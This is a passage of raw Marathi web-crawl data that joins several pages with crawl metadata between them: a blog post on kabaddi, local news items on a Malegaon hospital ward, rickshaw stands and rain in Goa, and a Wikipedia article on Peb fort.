प्रत्येक संघात ७ खेळाडू असतात. हा खेळ सांघिक खेळ असून या खेळाची खास बात म्हणजे खेळादरम्यान आऊट झालेला खेळाडू परत जिवंत होऊन संघामध्ये सामील होऊ शकतो.\nहा खेळ एवढा चांगला असूनही याला म्हणावी तशी पब्लिसिटी मिळाली नव्हती. नेमकं हेच काम प्रो कबड्डी लीग ने करून दाखवलं आणि हा खेळ स्टार च्या वाहिनीने भारतातल्या घराघरांत पोहोचवला. यावर्षी त्याचा पहिलाच सीजन चालू असून त्यात सध्या ८ संघ असून महाराष्ट्रातील २ संघ आहेत. हे लीग आता अल्पावधीतच विलक्षण लोकप्रिय झाले आहे व दिवसेंदिवस हे लीग पाहणार्यांची संख्या वाढतच आहे. हे सर्व बघता कबड्डी ला सुगीचे दिवस आले असं म्हणण्यास वावगं ठरु नये. अर्थात याचे श्रेय सर्व गुणी खेळाडू, कोचेस, लीग आणि स्टार वाहिनीची सर्व टीम यांना द्यायलाच हवे.\nकनेक्ट द डॉट्स आयुष्याचा एक आराखडा असतो हे सत्य आहे. एक विस्तृत आराखडा. आयुष्यातील प्रत्येक अनुभव, मग तो चांगला असो वा वाईट असो, तुम्हा...\nदिवाळी : तेव्हाची आणि आजची\nपावसाळा संपल्यावर गणेश चतुर्थी, अनंत चतुर्दशी, पितृ पंधरवडा, नवरात्रोत्सव, दसरा व कोजागिरी आदी सण संपलेले असत. सहामाही परीक्षा पण संपल...\nआज लोकसत्ता मध्ये एक मस्त कविता वाचली. त्यातले दोन सुप्रसिद्ध चरण... सृष्टीचे चमत्कार ( श्लोक : उपजाति ) वैशाखमासी प्रतिवर्षि येती , ...\n२६ जुलैच्या कटू आठवणी : मुंबई\nविज्ञान आणि तंत्रज्ञानाच्या जोरावर मानवाने अनेक प्रगती आणि विकासाची नवी शिखरे पादाक्रांत केली असली तरी निसर्ग आपल्या अस्त...\nकबड्डी ला सुगीचे दिवस \nतरुण भारत बेळगांव वृत्तपत्रात आलेली मुलाखत...चेहऱ्याआडचे चेहरे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00311.warc.wet.gz", "language": "mr", "language_score": 0.85, "bucket": "all"} {"url": "http://www.esakal.com/uttar-maharashtra/wadia-hospital-maternity-leave-41163", "date_download": "2018-09-25T17:56:12Z", "digest": "sha1:R2YS546NYZMHLNHSSFXZPOIRDZZ6YYPR", "length": 13703, "nlines": 172, "source_domain": "www.esakal.com", "title": "Wadia hospital maternity leave वाडिया रुग्णालयातील प्रसूती कक्षाची दुरवस्था | eSakal", "raw_content": "\nवाडिया रुग्णालयातील प्रसूती कक्षाची दुरवस्था\nशुक्रवार, 21 एप्रिल 2017\nमालेगाव - महापालिकेच्या वाडिया रुग्णालयातील प्रसूती व शस्त्रक्रिया कक्षाची दुरवस्था झाली आहे. आंतररुग्ण दाखल करण्यासाठी असलेल्या खोल्यांमध्ये साहित्य भरले आहे. यामुळे शस्त्रक्रिया व प्रसूती झालेल्या महिला रुग्णांना कक्षाबाहेर थांबावे लागते.\nरुग्णालयात शौचालयाची सुविधा नाही. आरोग्य विभाग याकडे दुर्लक्ष करीत असल्याने संतप्त कार्यकर्त्यांनी प्रशासनाचा निषेध व्यक्त करीत आयुक्तांकडे गाऱ्हाणे केले. पाहणीनंतर आयुक्तांनी या प्रकरणी चौकशी करून कारवाई करण्याचे आश्‍वासन दिले.\nमालेगाव - महापालिकेच्या वाडिया रुग्णालयातील प्रसूती व शस्त्रक्रिया कक्षाची दुरवस्था झाली आहे. आंतररुग्ण दाखल करण्यासाठी असलेल्या खोल्यांमध्ये साहित्य भरले आहे. यामुळे शस्त्रक्रिया व प्रसूती झालेल्या महिला रुग्णांना कक्षाबाहेर थांबावे लागते.\nरुग्णालयात शौचालयाची सुविधा नाही. आरोग्य विभाग याकडे दुर्लक्ष करीत असल्याने संतप्त कार्यकर्त्यांनी प्रशासनाचा निषेध व्यक्त करीत आयुक्तांकडे गाऱ्हाणे केले. पाहणीनंतर आयुक्तांनी या प्रकरणी चौकशी करून कारवाई करण्याचे आश्‍वासन दिले.\nवाडिया रुग्णालयात दररोज तीन-चार महिलांची प्रसूती होत असते. प्रसूती कक्षाचीच स्थिती बिकट आहे. रुग्णालय व रुग्णांच्या सोयीसाठी घेतलेले जनित्र वर्षानंतरही कार्यरत झालेले नाही. याबाबत महिलांनी नगरसेवक जाविद शेख यांच्याकडे तक्रार दाखल केली. माहिती मिळताच आमदार आसिफ शेख, माजी महापौर मलिक युनूस ईसा, नगरसेवक अस्लम अन्सारी आदी कार्यकर्त्यांसह रुग्णालयात दाखल झाले. त्यांनी रुग्णालय व परिसराची पाहणी केली. येथील दुरवस्थेबद्दल तीव्र नाराजी व्यक्त करतानाच दोषींवर कारवाई करण्याची मागणी केली. संबंधितांच्या शिष्टमंडळाने आयुक्त रवींद्र जगताप यांची भेट घेत त्यांच्याकडे गाऱ्हाणे मांडले. त्या वेळी रुग्णालयात जनित्र येऊन वर्ष झाले. मात्र त्याची साधी जोडणी झाली नसल्याचे निदर्शनास आले. हे जनित्र ताब्यात घेतलेले नाही की जोडणी झालेली नाही याबाबत चौकशी करून दोषींवर कारवाई करू. आरोग्याधिकाऱ्यांसह संबंधितांना तातडीने कारणे दाखवा नोटीस बजावण्यात आल्याचे आयुक्त जगताप यांनी सांगितले. दरम्यान, रुग्णालयात सोयीअभावी महिला रुग्ण वऱ्हांड्यात उपचार घेत आहेत. रुग्णालय आवारात शौचालयाची सोय नसल्याने महिलांच्या अडचणीत भर पडली आहे. हे प्रश्‍न तातडीने मार्गी लावण्याची मागणी होत आहे.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nउदयनराजेंबाबत शरद पवारांचा 'यॉर्कर' \nसातारा : उदयनराजेंच्या उमेदवारीला सातारा जिल्ह्यातील राष्ट्रवादीच्या आमदारांचा विरोध अशा बातम्या पसरत आहेत. तोपर्यंतच राष्ट्रवादी काँग्रेसचे...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nगोवा : आमदार गावकरांचा वन महामंडळ अध्यक्षाचा राजीनामा\nपणजी : राज्यातील भाजप सरकारला पाठिंबा दिलेले सांगेचे अपक्ष आमदार प्रसाद गावकर यांनी आज गोवा वन विकास महामंडळाच्या अध्यक्षपदाचा राजीनामा दिला...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00312.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://mr.wikipedia.org/wiki/%E0%A4%AA%E0%A5%87%E0%A4%AC_%E0%A4%95%E0%A4%BF%E0%A4%B2%E0%A5%8D%E0%A4%B2%E0%A4%BE", "date_download": "2018-09-25T17:05:52Z", "digest": "sha1:D26PMTYI5LFS4RMXKTIOIBYTHEVK32VR", "length": 26050, "nlines": 212, "source_domain": "mr.wikipedia.org", "title": "पेब - विकिपीडिया", "raw_content": "\n(पेब किल्ला या पानावरून पुनर्निर्देशित)\nपेब (विकटगड) हा भारताच्या महाराष्ट्र राज्यातील एक किल्ला आहे. पनवेलच्या ईशान्येला मुंबई-पुणे मार्गावरील नेरळपासून पश्चिमेला तीन-चार किलोमीटर अंतरावर हा किल्ला आहे. हा किल्ला चढताना लागणारे जंगल घनदाट आहे. पेबच्या किल्ल्याचे विकटगड असे देखील नाव आहे.\n३ जाण्यासाठी लागणारा वेळ\n४ किल्ला चढायला लागणारा वेळ\n५ गडावरील पहाण्यासारखी ठिकाणे\nया किल्ल्याचे नाव पेब हे नाव पायथ्याच्या असलेल्या पेबी देवीवरून पडले असावे. किल्ल्यावरील गुहेचा शिवाजी महाराजांनी धान्य कोठारांसाठी उपयोग केला होता, असा स्पष्ट ऐतिहासिक संदर्भ पेबच्या किल्ल्याबाबत आढळतो.\nमध्य रेल्वेने कर्जतजवळच्या नेरळ रेल्वे स्टेशनपासून थोडे बाहेर आल्यावर समोरच माथेरान आणि त्याच्या बाजूस पेबच्या किल्ल्याचे दर्शन होते. नेरळ स्टेशनला उतरल्यावर डावीकडची वाट माथेरानला व उजवीकडची वाट पेबला जाते. डोंगराच्या दिशेने जाताना मैदान, पोल्ट्रीफार्म व घरांची अर्धवट बांधकामे दिसतात. त्यानंतर समोर दिसणार्‍या इलेक्ट्रिकच्या मोठमोठ्या टॉवरच्या दिशेने गेल्यावर सिमेंटचा एक मोठा पाया असलेला टॉवर येतो. तेथून थोडे पुढे गेल्यावर एक मोठा धबधबा लागतो. या धबधब्याजवळच तीन वाटा आहेत.\n१) धबधब्याला लागून असलेली वाट. २) मधून गेलेली मुख्य वाट. ३) टॉवर्सला लागून असलेली वाट\nया तीन वाटांपैकी पहिल्या वाटेने पुढे गेल्यास जंगल लागते. पण पुढे या वाटेने जाणे अशक्यच आहे. तिसरी वाट म्हणजे मानेला वळसा घालून घास घेण्यासारखा प्रकार होय. तसेच या वाटेला पनवेलकडे जाणारे फाटे फुटत असल्याने वाट चुकण्याची शक्यता जास्त आहे. मधली मुख्य वाट हीच किल्ल्याच्या गुहेपर्यंत नेणारी खरी वाट आहे.. या वाटेने गणपतीचे चित्र काढलेला दगड येतो. या दगडाच्या उजव्या बाजूने वर चढल्यावर पुढे झर्‍यातून जावे लागते. तरीही वाट न सोडता याच वाटेने खिंडीच्या दिशेने वाटचाल करून खिंडीत पोहोचल्यावर तेथून डाव्या हाताला वळून पुढे जावे लागते. तेथून पुढे पांढरा दगड लागतो. पांढरा दगड चढण्यास अतिशय कठीण असून तो पार केल्यानंतर मात्र पुढे थोड्याच अंतरावर गुहा लागते. प्रथमच जाणार्‍यांनी वाटाडया घेणे हितकारक आहे.\nनेरळ रेल्वे स्टेशनपासून ३ तास.\nकिल्ला चढायला लागणारा वेळ[संपादन]\nकिल्ला चढण्यास लागणारा वेळ दोन ते अडीच तास आहे. पेबवर जाण्यासाठी गिर्यारोहकांना आणखी एक वाट आहे. त्यासाठी माथेरानच्या पॅनोरमा पॉईंटवर यावे. येथून सुमारे ६ तासात पेबच्या गुहेत पोहचता येते. गुहेच्या पायथ्याशी गरुड कोरला आहे.\nपेबचा किल्ला चढताना वाटेत लागणारा धबधबा हे एक मोठे आकर्षण आहे. किल्ल्यावरील गुहेसमोरून पावसाळ्यात सुंदर देखावा दिसतो. गुहेसमोरून आपल्याला नवरा-नवरी, भटोबा असे सुळके दिसतात. या गडावर कोणत्याही ऋतूत जाता येते.\nकिल्ल्यावर गुहेमध्ये स्वामी समर्थांचे शिष्यगण रहात असल्याने गुहेच्या बाहेर किंवा जवळच असलेल्या कपारीमध्ये १० जणांच्या रहाण्याची सोय होते. गुहेजवळच असलेले पाण्याचे टाके हीच पिण्याच्या पाण्याची सोय. जेवणाची सोय स्वतःच करावी लागते.\nसांगाती सह्याद्रीचा - यंग झिंगारो\nडोंगरयात्रा - आनंद पाळंदे\nदुर्गदर्शन - गो. नी. दांडेकर\nकिल्ले - गो. नी. दांडेकर\nदुर्गभ्रमणगाथा - गो. नी. दांडेकर\nट्रेक द सह्याद्रीज (इंग्लिश) - हरीश कापडिया\nसह्याद्री - स. आ. जोगळेकर\nदुर्गकथा - निनाद बेडेकर\nदुर्गवैभव - निनाद बेडेकर\nइतिहास दुर्गांचा - निनाद बेडेकर\nमहाराष्ट्रातील दुर्ग - निनाद बेडेकर\nमांगी-तुंगी • मुल्हेर • मोरा• हरगड• साल्हेर •सालोटा• चौरगड\nसोनगीर • लळिंग• गाळणा • कंक्राळा• डेरमाळ किल्ला• भामेर किल्ला\nअचला किल्ला • अहिवंत किल्ला• सप्तशृंगी किल्ला • मार्कंडा किल्ला• जवळ्या किल्ला• रवळ्या किल्ला• धोडप किल्ला• कांचना किल्ला• कोळधेर किल्ला• राजधेर किल्ला• इंद्राई किल्ला• चांदवड किल्ला• हातगड किल्ला• कन्हेरागड किल्ला• पिसोळ\nअंकाई किल्ला • टंकाई किल्ला• गोरखगड किल्ला\nकान्हेरगड किल्ला • अंतूर किल्ला\nनाशिक - त्र्यंबक रांग\nघरगड किल्ला • डांग्या किल्ला• उतवड किल्ला •बसगड किल्ला• फणी किल्ला• हरिहर किल्ला• ब्रह्मा किल्ला •ब्रह्मगिरी किल्ला• अंजनेरी किल्ला• रामशेज किल्ला• भूपतगड किल्ला• वाघेरा किल्ला\nइगतपुरी - कळसूबाई रांग\nकुलंग • मदनगड • अलंग • कळसूबाई • अवंढा किल्ला • पट्टा किल्ला • बितनगड किल्ला •त्रिंगलवाडी किल्ला• कावनई किल्ला\nरतनगड • कलाडगड किल्ला • भैरवगड किल्ला • कुंजरगड किल्ला\nहरिश्चंद्रगड • जीवधन • चावंड किल्ला • शिवनेरी • भैरवगड किल्ला • पाबरगड • हडसर • निमगिरी किल्ला • नारायणगड\nढाकोबा किल्ला • दुर्ग किल्ला• गोरखगड किल्ला •सिद्धगड किल्ला• पदरगड किल्ला• कोथळीगड किल्ला• तुंगी किल्ला\nढाक किल्ला • भीमगड किल्ला• राजमाची किल्ला •श्रीवर्धन किल्ला• मनोरंजन किल्ला• लोहगड किल्ला• विसापूर किल्ला• तिकोना किल्ला• तुंग किल्ला• तेलबैला किल्ला• घनगड किल्ला• सुधागड किल्ला• सरसगड किल्ला• कुर्डूगड किल्ला\nपुणे - (मुठा-गुंजवणे-काळ खोरे)\nसिंहगड किल्ला • राजगड किल्ला• तोरणा किल्ला •लिंगाणा किल्ला• रायगड किल्ला• पुरंदर किल्ला• वज्रगड किल्ला• मल्हारगड किल्ला\nरोहिडा किल्ला • रायरेश्वर• केंजळगड •कमळगड• चंद्रगड किल्ला• मंगळगड किल्ला • कावळ्या किल्ला\nमहाबळेश्वर - (कोयना-जगबुडी खोरे)\nप्रतापगड • मधुमकरंदगड• वासोटा •चकदेव• रसाळगड• सुमारगड• महिपतगड\nपांडवगड • वैराटगड• चंदनगड • वंदनगड• अजिंक्यतारा• कल्याणगड• संतोषगड• वारुगड • महिमानगड• वर्धनगड\nसदाशिवगड • वसंतगड• मच्छिंद्रगड • मोरगिरी• दातेगड\nजंगली जयगड • भैरवगड• प्रचितगड • महिपतगड\nभुदरगड • रांगणा किल्ला• मनोहरगड • मनसंतोषगड• कालानंदीगड• गंधर्वगड• सामानगड• वल्लभगड• सोनगड• भैरवगड\nअडसूळ • अशेरी• कोहोज किल्ला •तांदूळवाडी• गंभीरगड• काळदुर्ग• टकमक किल्ला\nमाहुली • आजोबा किल्ला\nश्रीमलंगगड • चंदेरी• पेब किल्ला •इर्शाळगड• प्रबळगड• कर्नाळा• माणिकगड• सांकशी किल्ला\nरोहा - (कुंडलिका खोरे)\nअवचितगड • घोसाळगड• तळागड •सुरगड• बिरवाडी किल्ला• सोनगिरी किल्ला\nसागरगड • मंडणगड• पालगड\nतारापूर किल्ला • शिरगाव किल्ला• माहीम किल्ला • केळवे किल्ला• अलिबाग किल्ला• भोंडगड• दातिवरे किल्ला• अर्नाळा किल्ला• वसई किल्ला\nउंदेरी किल्ला • खांदेरी किल्ला• कुलाबा किल्ला • रेवदंडा किल्ला• कोर्लई किल्ला• जंजिरा• पद्मदुर्ग• बाणकोट किल्ला• गोवा किल्ला• कनकदुर्ग• फत्तेगड• सुवर्णदुर्ग• गोपाळगड• विजयगड• जयगड• रत्नागिरी किल्ला• पूर्णगड• आंबोळगड• यशवंतगड (जैतापूर)• विजयदुर्ग• देवगड• भगवंतगड• भरतगड• सिंधुदुर्ग• पद्मदुर्ग• सर्जेकोट• पद्मदुर्ग• राजकोट किल्ला• निवती किल्ला• यशवंतगड (रेडी)• तेरेखोल किल्ला\nकिल्ले नरनाळा • बाळापूर किल्ला • अकोला किल्ला\nगाविलगड • आमनेरचा किल्ला\nहरिश्चंद्रगड • रतनगड • कुंजरगड • कलाडगड • बहादूरगड • भुईकोट किल्ला, अहमदनगर • अलंग • कुलंग • पट्टागड • मदनगड • बितनगड किल्ला • पाबरगड • कोथळ्याचा भैरवगड\nपन्हाळा • भूदरगड• विशाळगड• अजिंक्य पारगड• गंधर्वगड\nलळिंग • सोनगिर • थाळनेर • भामेर • रायकोट\nअंकाई • अंजनेरी • अचला • अहिवंत • इंद्राई • औंढ • कण्हेरगड • कावनई • त्रिंगलवाडी • धोडप • न्हावीगड • मांगी - तुंगी • मुल्हेर •मोरागड • राजधेर • सप्तशृंगी • साल्हेर • हरगड • हातगड• कांचनगड • मालेगावचा किल्ला\nअर्नाळा • अशेरीगड • आजोबागड • इरशाळगड • काळदुर्ग • कोहोजगड • गोरखगड • चंदेरी • ताहुली • मलंगगड • माहुलीगड • वसईचा किल्ला • शिरगावचा किल्ला• सिध्दगड • दौलतमंगळ • किल्ले दुर्गाडी • गंभीरगड\nकिल्ले पुरंदर • कोरीगड - कोराईगड • चावंड • जीवधन • तिकोना • तुंग • तोरणा • दुर्ग - ढाकोबा • मल्हारगड • राजगड • राजमाची • रायरेश्वर • लोहगड • विसापूर • शिवनेरी • सिंहगड • हडसर• रायरीचा किल्ला • चाकणचा किल्ला‎ • भोरगिरी• सिंदोळा किल्ला\nअंबागड • पवनीचा किल्ला•सानगडीचा किल्ला\nअंजनवेल • आंबोलगड • महिपतगड • रत्नदुर्ग • रसाळगड • सुमारगड • सुवर्णदुर्ग • किल्ले पूर्णगड• कनकदुर्ग• गोवागड\nअलिबाग - हिराकोट • अवचितगड • कर्नाळा • कुर्डूगड - विश्रामगड • कोतळीगड • कोर्लई • खांदेरी किल्ला • उंदेरी किल्ला • घनगड • चांभारगड • जंजिरा • तळगड • पेठ • पेब • प्रबळगड - मुरंजन • बहिरी - गडदचा बहिरी • बिरवाडी • भीमाशंकर • माणिकगड • मुरुड जंजिरा • रायगड (किल्ला) • लिंगाणा • सरसगड • सुधागड• सांकशीचा किल्ला • कासा उर्फ पद्मदुर्ग • घोसाळगड उर्फ वीरगड\nअजिंक्यतारा • कमळगड • कल्याणगड • केंजळगड • चंदन - वंदन • पांडवगड • प्रतापगड • भैरवगड • महिमानगड • रोहीडा • वर्धनगड • वसंतगड • वारुगड • वासोटा • वैराटगड • सज्जनगड • संतोषगड• गुणवंतगड• दातेगड• प्रचितगड• भूषणगड • रायरेश्र्वर\nबहिरगड • बाणूरगड• मच्छिंद्रगड• विलासगड• बहादूरवाडी\nविजयदुर्ग • आसवगड • सिंधुदुर्ग • भरतगड • राजकोट आणि सर्जेकोट\nसिताबर्डीचा किल्ला • नगरधन•गोंड राजाचा किल्ला •उमरेडचा किल्ला•आमनेरचा किल्ला•भिवगड\nअंमळनेरचा किल्ला • पारोळयाचा किल्ला• बहादरपूर किल्ला\nविजयदुर्ग • सिंधुदुर्ग•अलिबाग - हिराकोट •कोर्लई•खांदेरी किल्ला•उंदेरी किल्ला•जंजिरा•मुरुड जंजिरा•कासा उर्फ पद्मदुर्ग•अंजनवेल•रत्नदुर्ग•सुवर्णदुर्ग•अर्नाळा•वसईचा किल्ला•किल्ले दुर्गाडी\nयेथे काय जोडले आहे\nया पानातील शेवटचा बदल ७ डिसेंबर २०१७ रोजी ०५:२१ वाजता केला गेला.\nयेथील मजकूर हा क्रियेटीव्ह कॉमन्स अट्रीब्युशन/शेअर-अलाईक लायसन्स या अंतर्गत उपलब्ध आहेत;अतिरिक्त अटी लागू असू शकतात. अधिक माहितीसाठी हे बघा वापरण्याच्या अटी.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00312.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%B0%E0%A4%BF%E0%A4%95%E0%A5%8D%E0%A4%B7%E0%A4%BE-%E0%A4%B8%E0%A5%8D%E0%A4%9F%E0%A5%85%E0%A4%A8%E0%A5%8D%E0%A4%A1-%E0%A4%B9%E0%A5%87-%E0%A4%B8%E0%A4%AE%E0%A4%BE%E0%A4%9C%E0%A4%B8%E0%A5%87/", "date_download": "2018-09-25T17:58:06Z", "digest": "sha1:C5YLWPSM2XA2YJMBDDPOFUIDJLW4NWSA", "length": 8384, "nlines": 73, "source_domain": "pclive7.com", "title": "रिक्षा स्टॅन्ड हे समाजसेवा केंद्र व्हावे – बाबा कांबळे | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड रिक्षा स्टॅन्ड हे समाजसेवा केंद्र व्हावे – बाबा कांबळे\nरिक्षा स्टॅन्ड हे समाजसेवा केंद्र व्हावे – बाबा कांबळे\nपिंपरी (Pclive7.com):- प्रत्येक रिक्षा स्टॅन्डवर पाणपोई, वाचनालय, फोनबुकिंग केंद्र, सेवा केंद्र अस्या सुविधा द्यावेत तसेच रिक्षा स्टॅन्ड वर येणाऱ्या प्रत्येक नागरिकांना चांगली प्रवासी सेवा द्यावी, अशा प्रकारे चांगली सेवा आणि इतर अन्य सुविधा देऊन पिंपरी चिंचवड शहरातील प्रत्येक रिक्षा स्टॅन्ड हे समाजसेवा केंद्र झाले पाहिजे, यासाठी रिक्षा चालकांनी प्रयत्न करावेत असे आव्हान महाराष्ट्र रिक्षा पंचायत अध्यक्ष कष्टकऱ्यांचे नेते बाबा कांबळे यांनी रिक्षा चालकांना केले.\nचिंचवड प्रेमलोक पार्क येथे प्रेम लोक रिक्षा स्टॅन्डच्या उद्घाटन प्रसंगी ते बोलत होते. महाराष्ट्र रिक्षा पंचायत संलग्न प्रेम लोकपार्क रिक्षा स्टँडचे उद्घाटन नुकतेच बाबा कांबळे यांच्या हस्ते झाले.\nयावेळी महाराष्ट्र रिक्षा पंचायतचे, वाकड विभाग अध्यक्ष गफूर शेख, विभाग अध्यक्ष अजित बराटे, कुदरत खान, जेष्ठ नागरिक रमेश केळकर, सदाशिव पवार, सुनिल चिंचवडे, सुधिर अगवणे, विजय कोरपे आदी उपस्थित होते.\nकार्यक्रमाचे संयोजन स्टँड अध्यक्ष दिपक खंडागळे, मधू नागवेकर, अकलम शेख, शिवाजी कवडे, गणेश भागात, अफसर भालदार, शंकर खंडागळे, विनोद कळलीगपुरं यांनी कार्यक्रमाचे संयोजन केले.\nयावेळी बाबा कांबळे म्हणाले, रिक्षा चालकांबद्दल अनेक गैरसमज आहेत. तसेच रिक्षा व्यवसायात स्पर्धा आहेत. यामुळे रिक्षा व्यवसाय हा चिकाटीने करावा या बरोबरच रिक्षा चालकांची प्रतिमा सुधारण्यासाठी प्रयत्न करावेत रिक्षा चालकांसाठी कल्याणकारी महामंडळाची घोषणा झाली आहे. रिक्षा चालकांना सामाजिक सुरक्षा मिळेल हे लाभ घेत असताना रिक्षा चालकांनी “सेवा हाच धर्म” मानून काम करावे रिक्षा स्टॅन्ड समाजसेवा केंद्र करावे असे बाबा कांबळे म्हणाले.\nTags: PCLIVE7.COMPcmc newsबाबा कांबळेरिक्षा स्टॅन्ड\nपर्यावरणाचा समतोल राखण्यासाठी वृक्षारोपण व संवर्धन करणे काळाची गरज – एकनाथ पवार\nपगडीचे राजकारण करणाऱ्या शरद पवार यांना डोकं आहे का\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00313.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://www.pudhari.news/news/Goa/The-probability-of-heavy-rains-today-in-Goa/", "date_download": "2018-09-25T16:53:07Z", "digest": "sha1:7HSJPURO7KZGMH3FXLHI6UULG7ZAZ62R", "length": 5029, "nlines": 38, "source_domain": "www.pudhari.news", "title": " गोव्यात आज मुसळधार पावसाची शक्यता | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Goa › गोव्यात आज मुसळधार पावसाची शक्यता\nगोव्यात आज मुसळधार पावसाची शक्यता\nराज्यभरात सोमवारी विविध ठिकाणी जोरदार पावसाने हजेरी लावली. 14 ऑगस्ट रोजी मुसळधार पावसाची शक्यता गोवा वेधशाळेने वर्तवली आहे. समुद्रात वार्‍याचा वेग वाढला असून, मच्छीमारांना पुढील दोन दिवस महाराष्ट्र गोवा किनारपट्टीवर न जाण्याचा इशारा गोवा वेधशाळेकडून देण्यात आला आहे.\nसमुद्रातील लाटांची उंचीदेखील 3 ते 4.5 मीटर इतकी वाढण्याची शक्यता आहे. गेल्या काही दिवसांत मान्सूनचा जोर काहीसा कमी झाला होता; परंतु आता पुन्हा मान्सून जोर धरत असून राज्यात मान्सून सक्रिय आहे. राज्यात 15, 16 व 17 ऑगस्ट रोजी सामान्य प्रमाणात पाऊस असेल, असेही वेधशाळेकडून सांगण्यात आले.\nवेधशाळेच्या आकडेवारीनुसार राज्यात आतापर्यंत एकूण सरासरी 80 इंच पावसाची नोंद झाली असून गेल्या 24 तासांत राज्यभरात 3 इंच पावसाची नोंद झाली आहे.\nसोमवारी सांगे भागात सर्वाधिक 11 सें.मी. पावसाची नोंद झाली आहे. तसेच मडगाव व केपे भागात प्रत्येकी 9 सें.मी., वाळपई येथे 8 सें.मी., फोंडा व मुरगाव येथे प्रत्येकी 7 सें.मी., साखळी, काणकोण व दाबोळी येथे प्रत्येकी 6 सें.मी. तर म्हापसा येथे 5 सें.मी. इतक्या पावसाची नोंद झाली.\nराज्यातील कमाल तापमान 28.3 अंश सेल्सियस तर किमान 24 अंश सेल्सियस इतके आहे. हवामानात 95 टक्के आर्द्रता आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00313.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Kolhapur/35-lakh-liquor-seized-in-kolhapur/", "date_download": "2018-09-25T16:52:29Z", "digest": "sha1:QESU3WDJ7ALFHG2QAYWAB3MG7L5GXA77", "length": 6880, "nlines": 37, "source_domain": "www.pudhari.news", "title": " गोवा बनावटीची 35 लाखांची दारू जप्‍त | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, 